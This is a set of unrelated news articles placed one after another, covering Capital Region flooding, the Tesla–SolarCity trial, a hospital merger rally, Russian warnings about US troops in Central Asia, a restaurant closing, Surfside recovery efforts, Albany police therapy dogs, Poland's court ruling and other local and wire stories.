Vilsack was in the Capital Region to meet with Delgado and to discuss workforce modernization and rural infrastructure. Vilsack toured Taborton Road, which is considered to be at the center of the storm's devastation, with McLaughlin and Delgado. The three talked with Joan Bishop of 15 Taborton Road, whose residence was flooded by the heavy rain that poured down the hill, wiping out the bridge and damaging other homes.

Bishop said she didn't know how the storm will impact the sale of her home, which is under contract. Bishop's grandaughter, Guiliana Valente, was in the house when the flooding swept through the property. She said she told her grandmother not to try to come home.

"Crazy," was how Valente described the situation Wednesday. Water quickly poured into the basement as it rose outside, Valente said.

Thunderstorms that rumbled across the county dropped between 2 and 5 inches of rain in over three hours Wednesday. The downpour is blamed for flooding that damaged dozens of roads in the county and prompted officials to declare a state of emergency for fear drivers would crash into debris.

The thunderstorms repeatedly hit the central and southern parts of the county, washing out pavement and raising the levels of creeks and streams. Ground already saturated from weeks of rain couldn't absorb the downpours, contributing to flash flooding. The storms also caused power outages and customers remained without service in pockets around the area.

"There were probably five to six waves of heavy rain. The thunderstorms kept developing over Albany County and moved into Rensselaer County," Kevin Lipton, a meteorologist at the National Weather Service at Albany, said Thursday.

The rush of water tore apart the parking lot at the Old Daley on Crooked Lake at 2339 State Route 43.

"We need a a federal emergency," said Stephanie Pettit of the inn as family and friends worked to clean up the damage to the banquet facility and restaurant in preparation for two weddings' scheduled for Saturday. Both weddings had been postponed due to the coronavirus pandemic.

Pettit said neighboring businesses have offered support. The parking lot was being repaired Thursday afternoon. Pettit said it was always assumed any flooding would come from the lake, not down from the hill on the other side of Route 43. The lake Thursday was 10 feet higher than normal.

County officials fear storm runoff may have fouled drinking water wells. The county is distributing water through town halls and fire departments to assist residents whose wells were flooded leaving them without save drinking water supplies, McLaughlin said. The county also has called in the American Red Cross to assist people impacted by the severe storms.

Rensselaer County and local town highway crews started road repairs Thursday as residents and businesses dealt with the aftermath the storm.

"We're going to go as fast as we can but there's massive damage out there so it's going to take us in some cases a couple of weeks," McLaughlin said.

The county has made repairs along roads to allow residents to be able to exit their driveways where they were otherwise washed away. McLaughlin said the county is moving quickly to make the small fixes and that it will be determined what bigger projects are ahead.

"The damage that is here is pretty massive. It was an unbelievable amount of water," the county executive said.

The flooding damaged roads around the northern part of the town of Nassau, closing Routes 66 and 43, as well as local roads.

Nassau Town Supervisor Dave Fleming said the devastation might seem startling to some. The southern part of the town got little more than sprinkles while parts to the north were drenched.

"There has been a significant amount of damage to the northern end of town," Nassau Town Supervisor David Fleming said in a video posted on Facebook. "... We've actually lost roads that have been recently constructed. County and state roads have been dramatically impacted."

Most roads reopened Thursday morning. But a major concern remains: Culverts that are washed out beneath many roads. Fleming said that while the road surface may be intact, flood waters may have washed out what's underneath, leaving the pavement compromised. The town expects to carry out a broad assessment of the highway network to determine the extent of the damage and where unseen risks might lurk.

"This is worse than Tropical Storm Irene," said Fleming, referring to the August 2011 tropical storm that caused extensive flooding around the Capital Region.

McLaughlin warned residents to be careful of road damage and south shoulders that may collapse.

Fleming said the town will inspect the Dewey Loeffel Landfill Superfund site to see how the heavy rains are affecting runoff from the closed dump into the Little Thunder Creek, a tributary of the Valatie Kill, a trout stream. The U.S. Environmental Protection Agency and the state Department of Environmental Conservation have contacted Fleming and will be assessing the Dewey Loeffel site.

Route 66, a main route through the town, had a landslide at Pike's Pond. "It took out an entire lane of the road," Fleming said. Highway crews used snowplows to push mud and other debris out of the roadway. Fleming said it allowed the reopening of one lane of Route 66.
WILMINGTON, Del. (AP)  Testifying for a second day, CEO Elon Musk pushed back again Tuesday against a lawsuit that blames him for engineering Teslas 2016 acquisition of a financially precarious company called SolarCity that was marred by conflicts of interest and never generated the profits Musk insisted it would.

And for a second day, a pugnacious Musk sparred with Randall Baron, the plaintiffs attorney who has been grilling him about his role in orchestrating the SolarCity deal.

Your questions," the billionaire CEO complained from the witness stand, "are so deceptive.

Witness and lawyer clashed down to the meaning of the word cabal, which Baron invoked to characterize the Tesla team that was updating Musk daily in July 2016 in the progress toward a SolarCity deal. When Musk objected that cabal sounded sinister, Baron countered that it typically meant a group of people working together toward a common purpose.

Usually not in a good way, Musk muttered.

Rejecting any notion that he pressed Tesla's board to pursue a takeover of SolarCity, Musk, who is well-known for his commanding management style, insisted he had no material role in Tesla's board discussions about the deal.

Under questioning by Baron, Musk acknowledged that he had recommended an acquisition price of $28.50 a share. But he said this figure merely reflected what he called a standard practice of offering a 30% premium on a target company's average stock price over the previous four weeks.

The board ultimately decided to offer $26.50 to $28.50 a share. Musk observed that his suggestion was discarded by the board in favor of a lower price and quipped, They dont listen to me, obviously.''

The long-running shareholder lawsuit asserts that Musk, who was SolarCitys largest stakeholder and its chairman, and other Tesla directors breached their fiduciary duties in bowing to Musks wishes and agreeing to buy the company. In what the plaintiffs call a clear conflict of interest, SolarCity had been founded by Musk and two of his cousins, Lyndon and Peter Rive.

Baron has sought to establish that Musk wanted to run Tesla without interference and therefore bears responsibility for any failures. When he asserted that Musk had expressed excessive optimism over SolarCity's prospects before the acquisition, the CEO countered that he was a natural optimist. Otherwise, he said, he never would have risked establishing both an electric-car manufacturer and a rocket company, SpaceX.

In defending the SolarCity acquisition, Musk argued that cash flow from the company's previous solar installations alone justified the decision.

This was a no-brainer,'' he insisted.

The trial, which began Monday, marks the culmination of seven shareholder lawsuits, consolidated into one, that alleged that Tesla directors breached their fiduciary duties in bowing to Musks wishes and agreeing to buy SolarCity. Last August, a judge approved a $60 million settlement that resolved claims made against all the directors on Tesla's board except Musk without any admission of fault.

That left Musk, who refused to settle, as the sole remaining defendant. The trial is expected to last about two weeks, after which the Delaware chancery court judge, Joseph Slights III, will issue a verdict.

Even if the trial ends with Musk having to pay personally for the whole SolarCity deal, $2.5 billion won't much hurt the world's third-wealthiest person. Forbes magazine has estimated that Musk is worth roughly $163 billion.
SCHENECTADY  A group concerned with the future of health care access in Schenectady County is holding a rally July 25 to highlight concerns surrounding the proposed merger of two local hospital systems, including what it says is a lack of transparency around the deal.

Hosted by the Schenectady Coalition for Healthcare Access, the rally will begin at 12:30 p.m. with a march outside Schenectady City Hall and end in Veterans Park, where speakers will call attention to a variety of concerns that have been raised about the merger of Schenectady-based Ellis Medicine with Albany-based St. Peters Health Partners.

The hospital systems announced their intention to merge last fall, raising immediate concerns around the potential loss of certain reproductive health services, end-of-life care and LGBTQ protections under a Catholic hospital system. While Ellis is currently locally owned, St. Peters answers to its parent company in Michigan  the Catholic health system Trinity Health.

Rev. Sara Baron, of First Schenectady United Methodist Church and a member of the coalition, said community hospitals have a responsibility to care for everyone who comes through their doors.

Will women be able to continue receiving the full range of reproductive care they currently receive at Bellevue? she said of the womens hospital Ellis operates in Niskayuna. Will the LGBTQIA+ community be welcomed and affirmed in the Trinity system? Will end-of-life decisions be made for us, instead of by us? These questions have been asked over and over again  but theyve fallen on deaf ears.

The rally was precipitated by what Schenectady County Legislator Michelle Ostrelich said appears to be an accelerated timeline for the merger.

When we held our first public forum in March, we were told that official plans would not materialize for at least one year  enabling time for the communitys concerns to be studied and addressed, she said. Now we are hearing that agreements are being finalized. And yet not one of the concerns raised at the forum have been addressed  formally or informally.

Ostrelich, who heads the Legislatures health and human services committee, said community members were assured the path to the merger would be transparent, but likened the process thus far to a backroom deal.

Spokespeople for Ellis and St. Peters would not confirm where exactly merger talks stand or when a deal might be finalized, saying only that discussions are ongoing and will involve many steps and government approvals. They also did not respond to questions about the process for public input or whether any assurances will be made regarding continuity of care.

We want to emphasize the intent of this proposed relationship is to enhance the availability of high-quality health care services in the Capital Region, St. Peters spokesperson Robert Webster said. "We continue to listen to our community and work through the issues important to them, and welcome new opportunities to hear their concerns. In the end, we are confident the community will see both improved care and expanded access to care as a result of this partnership.

Ellis spokesperson Leah LaPointe said an update with the community would be shared as soon as the hospital systems have something meaningful to report.

Ellis and St. Peters share a common goal of ensuring the long-term availability of high quality health care for the people of Schenectady and the surrounding region, and believe that partnering toward that goal is the best approach for everyone, she said. We also understand the importance of these affiliation discussions to everyone who relies on Ellis Medicine for care and we are committed to keeping everyone updated as we move along.

The hospitals announced last October they had signed a non-binding letter of intent to merge operations and estimated it would take roughly four months to vet plans and reach a final agreement. From there, it would take an additional six to seven months to go through the government approval process, they said.

The Schenectady Coalition for Healthcare Access  comprising local health care professionals, elected officials, civil liberties groups and religious leaders  formed in the wake of the announcement to share concerns about the proposal.

MergerWatch, a national advocacy group that formed in response to the merger of religious and secular hospitals in the Capital Region in the 1990s, said access to care can be jeopardized when an organizations religious doctrine or moral beliefs interfere with medical decision-making.

Hospitals may ban certain treatments that conflict with those beliefs, it said  such as abortion, contraception, sterilization and certain end-of-life care. They may also deny care such as fertility services to certain individuals because of their gender or sexual identity.

The Ellis-St. Peters proposal has attracted the attention of human rights and civil liberties groups as well, including the New York Civil Liberties Union and Schenectady County Human Rights Commission.

By moving forward with the merger plans  with no modifications in writing  Ellis is telling women they dont care about their reproductive health, their mental health or their overall wellbeing, said Nikita Hardy, a doula and member of the commission. But there are many of us in the community who do care. And well keep fighting for women and families.

Correction: An earlier version of this article included an incorrect date for when the rally will be held. The rally will be held on July 25.
MOSCOW (AP)  Russia has strongly warned the United States against deploying its troops in the former Soviet Central Asian nations following their withdrawal from Afghanistan, a senior diplomat said in remarks published on Tuesday.

Russias Deputy Foreign Minister Sergei Ryabkov said that Moscow conveyed the message to Washington during Russian President Vladimir Putins summit with U.S. President Joe Biden in Geneva last month.

The warning comes as the U.S. military said last week that 90% of the withdrawal of U.S. troops and equipment from Afghanistan is complete. Biden said the U.S. military mission in Afghanistan will conclude on Aug. 31.

I would emphasize that the redeployment of the American permanent military presence to the countries neighboring Afghanistan is unacceptable, Ryabkov said. We told the Americans in a direct and straightforward way that it would change a lot of things not only in our perceptions of whats going on in that important region, but also in our relations with the United States.

He added that Russia has also issued the warning to Central Asian nations.

We cautioned them against such steps, and we also have had a frank talk on the subject with our Central Asian allies, neighbors and friends and also other countries in the region that would be directly affected, Ryabkov said in an interview published in the Mezhdunarodnaya Zhizn magazine.

On Monday, Russian Foreign Minister Sergey Lavrov emphasized that Kazakhstan, Kyrgyzstan and Tajikistan are all members of the Collective Security Treaty Organization, and any presence of foreign troops on their territories must be endorsed by the security pact. He added that none of those countries have raised the issue.

Tajikistan and Kyrgyzstan both host Russian military bases. Kyrgyzstan, which hosted a U.S. military base that supported operations in Afghanistan, closed it in 2014.

Uzbekistan, which also hosted a U.S. base, ordered it shut in 2005 amid tensions with Washington. Uzbekistan's Defense Ministry reaffirmed in May that the country's constitution and its military doctrine rule out the presence of any foreign troops on its territory.

I dont think that the emergence of new American military facilities in Central Asia would promote security in the region, Lavrov said.

The Biden administration has reportedly considered Uzbekistan and Tajikistan that border Afghanistan, as well as Kazakhstan, as possible staging areas for monitoring and quickly responding to possible security problems that may follow the U.S. military's withdrawal from Afghanistan.

I dont think that anyone is interested in becoming a hostage to such US policy and intentions, and in inviting retaliation, Lavrov said.

The Russian foreign minister questioned what results would be achieved with a small U.S. presence outside Afghanistan when a 100,000-strong NATO force inside the country failed to do anything."

"Most probably, they simply want to ensure their military presence in Central Asia and be able to influence the situation in this region.

As the American and NATO troops were swiftly pulling out, the Taliban have made quick gains across the country. They claimed on Friday that they now control 85% of Afghanistans territory.

Russian officials have expressed concern that the Taliban surge could destabilize Central Asia.

Taliban advances already have forced hundreds of Afghan soldiers to flee across the border into Tajikistan which called up 20,000 military reservists to strengthen its southern border with Afghanistan.

Last week, a senior Taliban delegation visited Moscow to offer assurances that the insurgents advances in Afghanistan do not threaten Russia or its allies in Central Asia.
ALBANY  The Sam's family has fed an estimated 1.5 million people over 50 years.

That number could be off by tens of thousands, but as a career-capping figure, it sounds about right to the siblings Carmela Daubney and Paul Rappoccio, who have worked at Sam's Italian American Restaurant on Southern Boulevard since their parents opened it on April 6, 1971, in a building next door to the family's home.

"That's a lot of customers!" said Rappoccio, now 71.

"It's 50 years!" said Daubney, two years his elder, as they chatted together earlier this week. She said, "I feel every one of them."

They are now two weeks into what both emphatically describe as non-retirement.

"We closed the restaurant. But don't say we're retiring," said Daubney.

Sam's was supposed to reopen Wednesday after its annual break around the Fourth of July. Until last month, that was still the plan. It's what they've traditionally done, just like those generations of customers who habitually ordered chicken Parmesan, making it the restaurant's top seller for decades, or the woman who ate at Sam's every week for 35 years and never ordered anything but an eggplant dish.

But, in a familiar refrain, this past year was different. March 2020 saw a government-mandated switch to a takeout-only model. Sam's tried it for the first month, then closed for four months, reopening in August. Since then, in another familiar refrain, staffing proved difficult. An employee roster normally totaling 19 stayed at around 10 for lack of reliable help. After five decades, Rappoccio was still working up to 60 hours a week at the worst times. Daubney was on site, on her feet, for 40 hours weekly, plus more toiling at home on paperwork.

And so they decided: We're done.

"We knew it was time," Daubney said.

"It's been 50 years," said Rappoccio. "That's a good number."

A generational succession like the one that saw Daubney and Rappoccio take over from their parents, Salvatore and Angela Rappoccio, wouldn't work this time, the family decided. Paul said his son Joseph, who managed Sam's, didn't see a way forward on his own in the current climate. The building, at 125 Southern Blvd., with 1,000 square feet on the street level, a basement of equal size and two upstairs apartments, is available for sale or lease.

Daubney is ready to close the restaurants chapters of her life. She was literally born into the business, coming into the world in a room behind the restaurant her grandparents owned in Montemurro, a town near the instep of the boot that is Italy. Salvatore and Angela lived in that room until he left in 1956 to join his sister, already living in Albany. Angela followed with the children three years later.

By 1965, Salvatore and Angela had opened a grocery store and pizzeria. Sam's came six years later.

Even 50 years on, as the doors closed, much remained the same. Rappoccio estimated that half the recipes were essentially identical to how his father cooked them. Daubney said that a full quarter of the customers in recent years had been patrons since 1971. Young parents who brought their kids all those years ago are now great-grandparents, meaning up to four generations at one table.

Upon news of the closure spreading last week, social media roiled with lamentation.

"Saddest news of the day," wrote Millie Weglowski.

"Oh, no!!!!," exclaimed Laura Clark Stedman. "Such good memories."

Rebecca Ann Morgan said simply, "Heartbroken."

The Sam's family feels it too.

"It's sweet and sour," said Rappoccio.

"I'm sad," Daubney said "It's so bittersweet."

But they have lives to live that won't be encumbered by the daily requirement of making food for people and otherwise taking care of them. The Rappoccio family spread widely. There are at least three dozen cousins in Australia, Brazil and Venezuela, even more relative still back in Italy, that Daubney intends to visit. Rappoccio doesn't want to make chicken Parms multiple times a night anymore.

And yet the restaurant business exerts a powerful pull on those with a lifetime devoted to it, even after they've decided to quit.

In keeping with the "We're not retired message," Rappoccio said, late in the conversation earlier this week, that perhaps, just maybe, Sam's Italian American Restaurant isn't in fact fully closed, forever and ever, amen.

"If we don't sell it or lease it, who knows?" he said. "We've closed the doors, but that could be for now. Maybe times will change and we'll feel differently."

His sister was quick with a reply: "I don't know about that. I'm already enjoying my non-retirement."
SURFSIDE, Fla. (AP)  When the body of 4-year-old Emma Guara was pulled from the rubble of last month's Florida condominium collapse, she was wearing the silver necklace her mother recently gave her, the pendant shaped like half a heart and inscribed Little Sis.

When firefighters found her 11-year-old sister, Lucia Guara, she was not wearing her near-matching necklace, the pendant shaped like the other half of the heart and inscribed Big Sis. Lucia had developed an allergic reaction and had temporarily stopped wearing hers, said their aunt, Digna Rodriguez.

"We would like to get that necklace back," Rodriguez said. "They loved those necklaces.

The girls' parents, Anaely Rodriguez and Marcus Guara, also died in the June 24 collapse of the Champlain Towers South that killed at least 95 people and left 14 unaccounted for. They were among the first recovered from the rubble. The girls were buried in the same coffin last week, Emma wearing her necklace.

As they search through tons of broken concrete and twisted rebar for more remains, authorities are also trying to recover keepsakes for families that have lost relatives and for surviving residents of the building. They have set up a database for people to upload information about missing property.

Each time crews find personal possessions, they take photos and log the location using GPS. They have made a grid of the pile, knowing approximately where each family's condo unit should be. Detectives place the objects into a bin. They are taken to an area to be cataloged and sealed in bags. Then they are placed in a locked and guarded cargo container for later shipment to a warehouse.

For the possessions of the deceased, there will be an estate process to claim items to make sure they get to the proper heir, Miami-Dade Police Director Freddy Ramirez said.

Miami-Dade police Sgt. Danny Murillo, a leader of the operation, said the process had to be designed through trial and error because the collapse of a residential tower is not your everyday event. He said it can be emotional when an item like a child's toy is found.

We are all human, he said.

Rachel Spiegel, who lost her 66-year-old mother, Judy Spiegel, in the collapse, hopes the crews will find her familys mementos. Her mother's remains were recovered Friday.

All my parents stuff over a lifetime is gone, Rachel Spiegel said. Their wedding album is gone. My dads wine collection is gone, all my moms jewelry, all my moms clothes, the dress she wore at my wedding that I wanted to wear one day. All of their belongings are gone. We have nothing.

Surfside Mayor Charles Burkett, who has visited the site repeatedly since the collapse, said crews are finding items as small as rings and jewelry in the rubble.

The work is so delicate that were even finding unbroken wine bottles, Burkett said. He said because of the information families have provided, search teams often know what to look for in specific parts of the pile. He held up a photo of a ring that was found in the wreckage where searchers believed it would be.

Theyre expecting to find these things. And in this case, they did," Burkett said.

Ramirez said special consideration is being taken for religious property. Rabbis have toured the processing area to ensure that religious artifacts are properly stored and handled with care. He said some of the items have enormous significance.

It could be the smallest little thing that to a common person it just looks like a little container. It really means generations. Its very spiritual, and Im just so impressed. Our officers are learning so much about culture," he said. "There are just so many dynamics with the sadness and the sorrow.

___

Kennedy reported from Fort Lauderdale, Florida.
ALBANY  Gov. Andrew M. Cuomos administration is barring a commission examining Family Court reform from publicly discussing its confidential deliberations  subject to a $10,000 fine.

When Cuomo announced the creation of the blue-ribbon commission in June, he said its efforts would improve the fairness and transparency of the Family Court system in New York.

But the commissions own operations have been secretive: The body first met on June 25, and even before that its 20 members had to attest that they would not publicly discuss confidential deliberations  with commissioners subject to the fine if they violated the agreement.

All the deliberations so far have been conducted in secret, with none of the meetings yet open to the public.

In response to questions from the Times Union, the Cuomo administration declined to provide any specific reason why commission deliberations needed to be confidential, saying only that many government deliberations occur in a mix of public and private settings.

Previously: Children died despite warnings in New York Family Courts

The Cuomo administration, which has gained a reputation for secrecy, also declined to define exactly what aspects of the panels work were confidential, and what could be publicly discussed, including with the media.

Instead, the administration provided a copy of the states ethics code, which says only that public servants must understand the types of information that may be shared with colleagues and members of the public, while barring them from sharing confidential information acquired in the course of performing official duties" or using confidential information "to benefit yourself or someone else."

The 20-member commission is considering the role of mental health professionals, known as forensic evaluators, that play a crucial role in determining the outcomes of child custody disputes.

Even most Family Court hearings  which deal with highly sensitive individual cases  are open to the public.

The commissions deliberations are focused on the broader system, which would likely implicate fewer privacy concerns. It has been tasked with examining not only the functioning of the states court system, but also several bills proposed by Democrats in the state Assembly seeking to reform the forensic evaluation process.

A spokeswoman for the state Office of Children and Family Services said because the Family Court commission is merely advisory  lacking in formal authority to implement rules or laws  it was not subject to the states Open Meetings Law, which requires many government meetings to be open to the public.

The OCFS spokeswoman, Monica Mahaffey, said public meetings of the commission were currently being scheduled.

Mahaffey said that as a standard course of business, commissioners were given a copy of the Public Officers Law, which contains ethics and confidentiality rules, and contains a section that authorizes fines of up to $10,000 for violations.

Members attest that they understand that ethics and confidentiality rules apply, Mahaffey said. New York State benefits tremendously by having a commission with public interest at heart when undertaking this work, and any legislation will be deliberated in public with the Legislature.

The Cuomo administration wants the commission to do the work quickly: Cuomo has asked for recommendations by the fall.

When parties in a child custody dispute cannot strike a settlement, Family Court judges often appoint forensic evaluators, who conduct interviews with parents, children and others to assembly lengthy reports. The reports often include recommendations about who should gain custody. Judges often based their rulings at trial upon those recommendations.

Critics of the current Family Court system say that few evaluators in New York are trained to recognize the behaviors that stem from trauma, abuse and addiction; that few standards exist in law to regulate the practices; and that the secretive process lacks transparency.

The 20-member panel has three co-chairs: Sherry Klein Heitler, a retired judge and interim dean of the state Judicial Institute; Kelli Owens, executive director of the state Office for the Prevention of Domestic Violence; and Sheila Poole, commissioner of the Office of Children and Family Services.

The panel also includes academics, Family Court attorneys, domestic violence advocates, psychologists and parents.
ALBANY  A divide between who has the tools and a high-speed connection to the Internet and who doesn't has long existed, but the pandemic made clear how important a digital connection is to education, medicine and business. Remote learning, working from home and telehealth were all possible during the pandemic, but only for those with working hardware and bandwidth.

Gaps exist in both rural and urban areas, in public and private housing. A new initiative will start with subsidized housing to identify where the weaknesses are across affordable housing in the state when it comes to broadband service.

"We all know anecdotally and now definitively from data that people living in affordable housing and low on the economic ladder are suffering in the digital divide," said Jolie Milstein, president and CEO of the New York State Association for Affordable Housing. "But there is a lot of money coming our way to fix this problem, it's in the federal infrastructure plan."

Milstein referred to the American Jobs Plan released by President Joseph Biden for bringing broadband to all Americans which likened broadband access to the Rural Electrification Act of 1936  crucial for people to do their jobs and go to school.

The 2019 American Community Survey found that 36 percent of New Yorkers earning $25,000 or less do not have in-home broadband subscriptions, compared to just 5 percent of those earning $75,000 or more. In addition, a recent study by the independent research group Broadband Now found that 42 million Americans live in areas  most of them rural  in which broadband internet service is simply unavailable, regardless of whether they can afford it.

It's important to be ready when the money becomes available and to have a plan, advocates say. The survey, which will depend largely on building plans, will show what kind of digital infrastructure exists and what it will cost to close gaps. Milstein said she expects the work to be completed by September.

Getting everyone online is a three-part approach, she said. The first is infrastructure; the second is affordability  putting funding in place so Americans who struggle to pay for data plans have the money to do so; and education.

"We can't just stick a modem in someone's computer and assume they know how to use it," Milstein said. "Do they have a tablet, a phone, a computer?"

Wifi is already in place in newly built subsidized housing, because wifi became an expectation of funding agencies, but the architecture of older housing stock makes retrofitting difficult.

"A lot of buildings across the state are midrise concrete block and plank," she said.

Justin Reuter, CEO of Boys and Girls Clubs of the Capital Area, upgraded the equipment in the computer labs at the clubhouses in Troy and Albany over the past school year as kids' demand for Internet access grew from an after-school request to a full-day need.

In December 2020, the New York State Association for Affordable Housing started a pilot program with the Boys and Girls Clubs to provide computers and Internet in community rooms at housing sites. NYSAFAH provided staff to monitor the rooms.

Reuter said students either had one computer shared by multiple children at home, or no equipment. The full-day learning centers provided a place for kids to go, log on and do schoolwork.

"The school districts stepped up to put hardware in kids' hands, but they were dealing with equipment shortages," Reuter said.

The pilot program ended in May, but the computer labs at the Boys and Girls clubs remain open.
ALBANY  Three of the most popular members of the Albany Police Department are in serious need of a shave.

Meet the triumvirate of Maxie, Finn and a third friend still to be named  police dogs whose talents involve sloppy kisses more than sleuthing for clues.

Maxie, 3, a female Black Labrador donated from a breeder in the Mohawk Valley, and Finn, 4, a male black Labrador rescue from Brevard County, Fla., are existing therapy dogs for the capital city's force. And the latest addition is an eight-week-old Goldendoodle -- a therapy dog-in-training -- whose name will be decided by a community contest in which suggestions being chosen and voted on by school children.

The police pooches are part of an internationally recognized program launched in December 2019, helped by at least $15,000 in donations from MVP Healthcare to the The Albany Police and Fire Foundation. according to Officer Steve Smith, a spokesman for the department.

The tail-wagging trio hang out at city police stations to offer comfort, stress-relief and smiles for officers and the department's support staff, he said.

Its a morale booster. It certainly lessens stress and anxiety, Smith said. The dogs have helped build relationships in the community.

Maxie, named after a late Albany police officer, and Finn, who by sheer coincidence had the name of late city Lt. John Finn, killed in the line of duty in 2004, passed American Kennel Club-certified Canine Good Citizenship courses and intense training to become therapy dogs, said Kathy Rogers, manager and trainer at Bloomingrove Veterinary Hospital in Rensselaer, who trained the dogs.

"There's certain temperament things that we look for in a therapy dog," she said. "Not all dogs are able to make it as a therapy dog,"

Rogers said Maxie is a "clown" who instinctively performs certain tricks, including one called the "squirrel" pose.

"She will sit on her back legs and beg like a squirrel with her front feet up," Rogers said. "And if someone is sad or someone is anxious, she will automatically put her head on their lap and will sometimes do squirrel to make them laugh."

Maxie was obtained from lab breeder Jennifer Harmon of Fonda, whom Rogers knew from her hospital and who was not planning to use Maxie in her breeding program. Now, Rogers boasted, Maxie has the largest role of the three because nothing phases her.

Finn, who was trained by inmates in a program at a county jail in the Sunshine State and is handled by Officer Joseph Lynch, "greets people with a kiss to the face and then wants to play fetch and maybe even run the department hallways," according to an article Smith authored for the International Association of Chiefs of Police. "

"Staff have learned to not be surprised if Finn jumps into their laps during roll call or while theyre typing reports at their desks," Smith wrote.

The Goldendoodle pup, donated by Sand Lake Doodles, in Rensselaer County will have puppy training, confidence building and obedience work until she is six months old. Then she will follow the same programs as Maxie and Finn, she said.

They wanted to add a third dog and I thought it would be really fun to start with a puppy this time, Rogers said.

Each dog has a handler, whom they live with, and a back-up handler, she said.

Albany is one of the few places in the country that runs such a program, Rogers said. She said Police Chief Eric Hawkins gave a presentation about the dog program to a national police associations.

"I think it's something you're going to see pop up across the country," Rogers said. "It's starting to become more and more popular."

She said the original program helped officers experiencing post-tramautic stress disorder, but it expanded.

In November 2019, Maxie was along for the ride when his handler, Officer Kyle Haller responded to a crash on Washington Avenue Extension. A woman was trapped in a car. Her son crawled out a window. At the hospital, Haller introduced the traumatized child to Maxie. The pooch snuggled up to the boy and kept him company. The child's mom petted Maxie from her hospital bed, Smith stated in the article.

In the article, Smith noted that Maxie also helped a young girl following an incident involving her stepfather on Clinton Avenue. She told Haller, when he arrived, that she did not like police. Haller asked the child if she liked dogs. He introduced the girl to Maxie, whom she pet and played with, then opened up about the incident and other parts of her life. Before Haller left the scene, the girl called him a friend, Smith wrote.

"We quickly realized, OK, there's other things these dogs can do," Rogers said. "They can go to the courthouse if a young child has to testify for something. They can be with the child while the officer is interviewing them. They can go into family situations where they can comfort someone in the family so they'll talk to us more. They provide a communication link, I believe, between the officer and the public."
WARSAW, Poland (AP)  Polands constitutional court ruled Wednesday that temporary injunctions issued by the European Unions top court regarding Polands judiciary conflict with the nations constitution are not binding.

Legal observers interpreted the decision from Poland's Constitutional Tribunal as a move by Poland's right-wing government to undermine the power of EU laws within the country and even a step away from the 27-nation bloc. Poland joined the EU in 2004, agreeing to abide by its rules and laws.

The refusal to implement rulings of the European Court of Justice in Poland is a clear step towards taking Poland out of the European Union," Jeroen Lenaers, a European Parliament member from the Netherlands, said.

We fear that the Polish government is on the path to Polexit, Lenaers said.

The Constitutional Tribunal said that even though Poland is an EU member, domestic issues concerning the judiciary and court system remain the sole purview of Polish authorities and legislation.

Former EU Council head Donald Tusk said on Twitter that It is not Poland, but (ruling party leader Jaroslaw) Kaczynski that is leaving the EU together with his party.

Only we Poles can effectively oppose that, said Tusk, Poland's ex-prime minister who recently made a political comeback.

Departing human rights ombudsman Adam Bodnar said the verdict amounted to telling the top European court that Poland will not apply its rulings.

But Poland's justice minister, Zbigniew Ziobro, who is behind the controversial changes to the justice system, praised the ruling saying it defends Poland's constitutional order against the lawless interference and aggression of the law coming from European bodies.

Wednesday ruling was triggered by a 2020 interim decision by the European Court of Justice that ordered the suspension of a new chamber at Polands Supreme Court that was set up to discipline judges and prosecutors.

Critics view the chamber as a tool for sanctioning those critical of the changes the government has made to the judiciary since winning power in 2015. The government insists the changes are needed to free the justice system of lingering influences of the communist era, but critics say they just put the justice system under political control.

The changes have put Poland on a collision course with the EU that has triggered sanctioning procedures, and Wednesday's ruling only adds to the conflict.

The European court issued temporary injunctions suspending the disciplinary chamber while it drafts an opinion on whether the body violates EU law. But some chamber members protested the court's interim decision to the Constitutional Tribunal, which is largely composed of government loyalists.

Just hours before the ruling in Warsaw, deputy head of the European court emphasized the urgent need for Poland to suspend the disciplinary chamber.

The Constitutional Tribunal is expected to rule soon on whether EU law takes primacy over Polands Constitution. The decision Wednesday was seen as an indication of how the tribunal's judges might rule.
RENSSELAER  The Turks are back.

After a three-year hiatus, forced underground by fear of political retaliation from the repressive autocratic Erdogan regime in Turkey, members of the local Turkish community are re-emerging.

This is a new beginning for us, said Mehmet Yigit, associate professor of chemistry who runs a nanobiotechnology lab at the RNA Institute at the University at Albany. We dont want to feel fearful anymore. We should not allow evil to stop good.

Yigit and about 50 people - including Turkish families and local residents who had traveled to Turkey in past years on cultural exchanges  shared a meal of Turkish cuisine on Sunday to celebrate the opening of the new Albany Community Center.

It is a new location, new name and a subtle form of defiance against threats to free speech and democratic rule.

At least America is still a democracy. We are doing nothing wrong here and we are grateful for our freedoms here, said Medet Onel, newly-hired director of the center. He is an educator who fled Ankara after his brother was arrested as a political prisoner six years ago and remains incarcerated.

The group formerly operated the Turkish Cultural Center of Albany from 2009 until 2017 from a building on Broadway in Menands. They shut it down and put the property up for sale because the center was under surveillance and monitored by local pro-Erdogan Turks who served as informants.

Were happy to see they have a nice, new facility and they are starting to come back. The Turkish people are so welcoming, said Joe LaCivita, city manager of Watervliet. He and his wife, Diane Conroy-LaCivita, executive director of Colonie Senior Service Centers, traveled to Turkey in 2014.

The group offered Turkish language and cooking classes, invited the public to interfaith Ramadan friendship dinners and sought to bridge the cultures of East and West by leading a dialogue between Muslims and non-Muslims. There are an estimated 250 Turkish families who live in the Capital District and the groups members include researchers, scientists, professors, state employees, restaurant owners and engineers.

It is nice to be here today to celebrate the opening of this new center with our friends from Turkey, said Michael Mugits, retired superintendent of the Green Island school district. He and his wife, Brenda, traveled to Turkey in 2014 and 2017. Despite the political upheaval, the couple found the Turkish people to be warm and hospitable, and they marveled at the ancient history and delicious food.

This is a wonderful new space and it will allow them to continue to promote peace and friendship. They do a lot of good work and its unfortunate they were targeted, said Azra Haqqie, the Times Unions news informational desk coordinator and a columnist who writes on religion. She traveled to Turkey with a group of eight that included myself and my daughter, Caroline, in 2015.

A failed military-led coup in July 2016 against Turkeys President Recep Tayyip Erdogan spurred a series of purges and military crackdowns. More than 160,000 people were detained and more than 77,000 were arrested for alleged involvement in the coup  including military personnel, police, journalists, judges, prosecutors and educators.

The Erdogan regime targeted those with ties to Muslim cleric and educator Fethullah Gulen, who lives in self-imposed exile in Saylorsburg, Pa. He is 80 years old and in declining health. Erdogan accused Gulen of organizing from abroad a coup that left 290 people dead, more than 1,400 injured and a country in disarray. Gulen has repeatedly denied involvement and U.S. authorities have refused to extradite Gulen to Turkey because of insufficient evidence for extradition. Erdogan labeled Gulen and his followers an enemy of the state and part of a terrorist organization. They strongly deny the charges and follow the teachings of Gulen, who favors a peaceful and ecumenical perspective. They call their movement hizmet, or service. They operate schools and colleges across Turkey and feed the poor.

